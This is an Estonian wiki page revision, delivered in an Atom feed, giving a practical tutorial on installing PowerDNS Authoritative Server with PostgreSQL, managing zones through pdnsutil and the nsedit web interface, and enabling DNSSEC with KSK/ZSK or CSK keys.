default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4225</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4225"/>
		<updated>2026-06-15T18:44:08Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* PowerDNS-Admin paigaldamine - PDA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
